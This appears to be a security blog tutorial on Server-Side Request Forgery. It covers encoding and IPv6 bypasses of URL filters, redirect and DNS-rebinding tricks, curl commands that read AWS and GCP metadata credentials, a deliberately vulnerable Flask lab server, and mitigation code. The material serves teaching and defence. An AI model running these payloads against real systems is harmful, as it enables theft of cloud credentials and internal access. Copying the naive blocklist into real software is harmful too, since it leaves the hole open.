Listen to this Post
Introduction
Server‑Side Request Forgery (SSRF) is a chameleon‑like vulnerability that allows an attacker to induce a web application to send crafted requests to unexpected internal or external resources. What makes SSRF so dangerous is the sheer creativity required to exploit it – a single misconfigured URL parser, an overlooked encoding scheme, or an overly permissive firewall rule can turn a harmless feature (like fetching a profile picture from a URL) into a gateway to internal clouds, metadata endpoints, and private networks.
Learning Objectives
- Understand the root causes of SSRF and how different URL encoding and representation techniques (hexadecimal, octal, IPv6, etc.) can bypass naive input validation.
- Learn to use Linux/Windows command‑line tools and custom scripts to test for SSRF vulnerabilities in web applications and APIs.
- Implement robust mitigation strategies including allowlists, proper URL parsing, network segmentation, and metadata service protection.
You Should Know
- URL Encoding Bypasses: Hex, Octal, and Double Encoding
Many developers implement blacklist‑based filters that block strings like `127.0.0.1` or localhost. However, the URL specification allows many alternative representations of the same IP address. By using hexadecimal, octal, or mixed encoding, an attacker can bypass naive filters while the backend parser still resolves to the intended internal address.
How it works – Web frameworks often normalise URLs before making the request. If the validation checks the raw input but the underlying library (e.g., cURL, Python requests, Java URL) decodes the string, the bypass succeeds.
Step‑by‑step guide to test encoding bypasses (Linux/macOS):
- Target a vulnerable endpoint – e.g., `http://vulnerable-app.com/fetch?url=`
2. Start with a direct internal IP – `http://vulnerable-app.com/fetch?url=http://127.0.0.1/admin`
– If blocked, try decimal representation of 127.0.0.1: `http://2130706433/admin` - Hex encoding of the IP – each octet as hex:
127.0.0.1 -> 0x7f.0x00.0x00.0x01 curl "http://vulnerable-app.com/fetch?url=http://0x7f.0x00.0x00.0x01/admin"
- Octal encoding – each octet in octal (leading zero):
curl "http://vulnerable-app.com/fetch?url=http://0177.0.0.1/admin"
- Mixed encoding – combine hex for first octet, octal for second, decimal for rest.
- Double URL encoding – encode the colon or slashes:
%3A = ':' , %2F = '/' curl "http://vulnerable-app.com/fetch?url=http%3A%2F%2F127.0.0.1%2Fadmin"
Windows (PowerShell) equivalent:
Invoke-WebRequest -Uri "http://vulnerable-app.com/fetch?url=http://0x7f.0x00.0x00.0x01/admin"
2. IPv6 and Alternative Addressing Tricks
Many internal networks are dual‑stack (IPv4 + IPv6), and IPv6 addresses are often ignored by IPv4‑centric filters. The IPv6 loopback `::1` is equivalent to 127.0.0.1. Additionally, IPv6 supports embedded IPv4 addresses in forms like ::ffff:127.0.0.1.
Step‑by‑step guide for IPv6 SSRF testing:
1. Basic IPv6 loopback:
curl "http://vulnerable-app.com/fetch?url=http://[::1]/admin"
2. IPv4‑mapped IPv6 address:
curl "http://vulnerable-app.com/fetch?url=http://[::ffff:127.0.0.1]/admin"
3. IPv6 with zone index (Windows specific) – e.g., `http://[::1%lo]/admin`
4. Use alternative notation – avoid brackets by using `http://[::1]` – most parsers require brackets, but some custom implementations might accept `http://::1/` – test variations.
Mitigation check: Ensure your validation library normalises all IPv6 representations to a canonical form (e.g., inet_pton) before allowlist comparison.
3. Domain‑Based Bypasses – Redirects and DNS Rebinding
Attackers can bypass hostname blacklists by registering a domain that resolves to an internal IP, or by exploiting open redirects on the same application.
Step‑by‑step: Using a redirect to bypass validation
- Find an open redirect in the target application – e.g., `/redirect?url=https://evil.com`
- Chain it with SSRF – if the SSRF endpoint follows redirects, you can smuggle the internal request:
http://vulnerable-app.com/fetch?url=http://vulnerable-app.com/redirect?url=http://169.254.169.254/latest/meta-data/
- DNS rebinding attack – register a domain with a very low TTL (Time‑To‑Live). First DNS query returns a public IP (passing validation). Immediately after validation, change the DNS record to an internal IP (e.g., 10.0.0.1) and wait for the server’s second resolution.
Test DNS rebinding manually using `nslookup` or `dig`:
Query current resolution dig attacker-controlled.com Change DNS record, then query again watch -n 1 dig attacker-controlled.com
For automated testing, use tools like `rebinder` (github.com/brannondorsey/whonow).
4. Cloud Metadata API Exploitation
Modern cloud environments (AWS, GCP, Azure) expose sensitive instance metadata via well‑known internal IPs like 169.254.169.254. A successful SSRF can read IAM credentials, user data, and SSH keys.
Step‑by‑step metadata extraction (assuming SSRF is confirmed):
1. AWS Metadata v1 (still common):
curl "http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/" Drill down to IAM role curl "http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"
2. Bypass `169.254.169.254` blocking – try alternative representations:
– `http://instance-data/` (AWS‑specific hostname)
– `http://169.254.169.254` in hex: `http://0xa9.0xfe.0xa9.0xfe`
– IPv6 link‑local: `http://[fe80::a9fe:a9fe]`
3. GCP Metadata – requires `Metadata-Flavor: Google` header. If SSRF allows custom headers:
curl -H "Metadata-Flavor: Google" "http://vulnerable-app.com/fetch?url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
4. Azure – `http://169.254.169.254/metadata/instance?api-version=2017-08-01` with header `Metadata: true`
Mitigation: Use IMDSv2 (AWS) which requires a PUT request with a session token, or deploy firewall rules that block all traffic to metadata IPs except from authorised processes.
5. Mitigation Strategies – Code‑Level and Network Hardening
Defending against SSRF requires a layered approach, from input validation to network segmentation.
Step‑by‑step hardening guide:
- Implement an allowlist of allowed hostnames/IPs – never rely on blocklists.
Python example with `urllib.parse` from urllib.parse import urlparse allowed_domains = ['api.example.com', 'images.example.com'] parsed = urlparse(user_url) if parsed.hostname not in allowed_domains: raise ValueError("Domain not allowed") -
Validate and normalise the IP address – resolve the hostname and check if it falls in a public range.
import ipaddress, socket hostname = parsed.hostname ip = socket.gethostbyname(hostname) if ipaddress.ip_address(ip).is_private: raise ValueError("Private IP not allowed") -
Disable HTTP redirects in your HTTP client library – many SSRF attacks rely on redirects. In cURL:
curl --max-redirs 0 http://vulnerable-app.com/fetch?url=...
In Python requests: `session.get(url, allow_redirects=False)`
- Network layer – use egress firewalls to block outbound requests to private IP ranges (RFC 1918) and the metadata IP. On Linux with iptables:
iptables -A OUTPUT -d 169.254.169.254 -j DROP iptables -A OUTPUT -d 10.0.0.0/8 -j DROP iptables -A OUTPUT -d 172.16.0.0/12 -j DROP iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
On Windows (advanced firewall):
New-NetFirewallRule -DisplayName "Block Metadata" -Direction Outbound -RemoteAddress 169.254.169.254 -Action Block
- Use a dedicated URL fetcher service that runs in a locked‑down container with no access to internal networks.
-
Hands‑On Lab – Simulate SSRF in a Local Environment
To practice SSRF bypass techniques safely, set up a minimal vulnerable web server using Flask (Python).
Step‑by‑step lab setup (Linux/macOS):
1. Create the vulnerable server – `vulnerable_ssrf.py`:
from flask import Flask, request, Response
import requests
app = Flask(<strong>name</strong>)
@app.route('/fetch')
def fetch():
url = request.args.get('url')
if not url:
return "Missing url param", 400
Naive blocklist: only "127.0.0.1" is blocked (insufficient)
if "127.0.0.1" in url:
return "Blocked", 403
try:
resp = requests.get(url, timeout=5, allow_redirects=True)
return Response(resp.content, status=resp.status_code)
except Exception as e:
return str(e), 500
if <strong>name</strong> == '<strong>main</strong>':
app.run(host='0.0.0.0', port=5000)
2. Run the server:
pip install flask requests python3 vulnerable_ssrf.py
- Test SSRF – try to access localhost (blocked):
curl "http://localhost:5000/fetch?url=http://127.0.0.1:5000/admin"
Expected: `Blocked`
4. Bypass using hex encoding:
curl "http://localhost:5000/fetch?url=http://0x7f.0x00.0x00.0x01:5000/admin"
The server makes the request – you have successfully bypassed the blocklist.
- Experiment with other bypasses – IPv6
[::1], decimal2130706433, double encodinghttp%3A%2F%2F127.0.0.1.
What Undercode Say
- Key Takeaway 1: SSRF is fundamentally a trust problem – the server trusts the user‑supplied URL without adequately validating its destination. Encoding tricks exploit the gap between how humans read an IP and how libraries parse it. The most robust defence is an explicit allowlist of permitted domains/IPs combined with strict normalisation.
-
Key Takeaway 2: Cloud metadata endpoints remain the highest‑value target for SSRF. Even with IMDSv2, many legacy applications still rely on the insecure v1, and misconfigured firewalls often fail to block
169.254.169.254. Regular penetration testing should include SSRF‑to‑metadata attack scenarios, and egress filtering must be treated as a non‑negotiable baseline.
Analysis: Daniel Johnson’s post correctly emphasises that SSRF bypasses are not about memorising payloads but about understanding request parsing behaviour. The visual mentioned (though not included here) would likely show a matrix of `localhost` variations – hex, octal, IPv6, decimal, DNS – each a key to a different internal door. What makes SSRF so persistent in bug bounty reports is the continued reliance on blacklist validation. Developers often block `127.0.0.1` but forget `0:0:0:0:0:0:0:1` or 2130706433. Worse, many frameworks silently normalise these variants. A single misconfigured URL‑fetching feature – a PDF generator, an avatar downloader, a webhook tester – can expose an entire internal network. The rise of serverless and microservice architectures, where internal APIs communicate over HTTP without authentication (trusting network isolation), amplifies the impact.
Prediction
As organisations adopt zero‑trust networking and service meshes (e.g., Istio, Linkerd), the traditional network perimeter dissolves. However, SSRF will adapt – targeting internal service discovery endpoints (Consul, etcd), Kubernetes API servers, and sidecar proxies. Future bypass techniques will involve protocol smuggling (Gopher, Dict, File) and exploiting HTTP request parsing discrepancies between reverse proxies and backend servers. Automated SAST tools will begin to flag any outbound request based on user input, but the real game‑changer will be runtime protection: eBPF‑based firewalls that detect and block SSRF attempts by analysing the destination IP at the kernel level. Until then, SSRF remains the “creative hacker’s best friend” – and every CISO’s blind spot.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Daniel Johnson – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
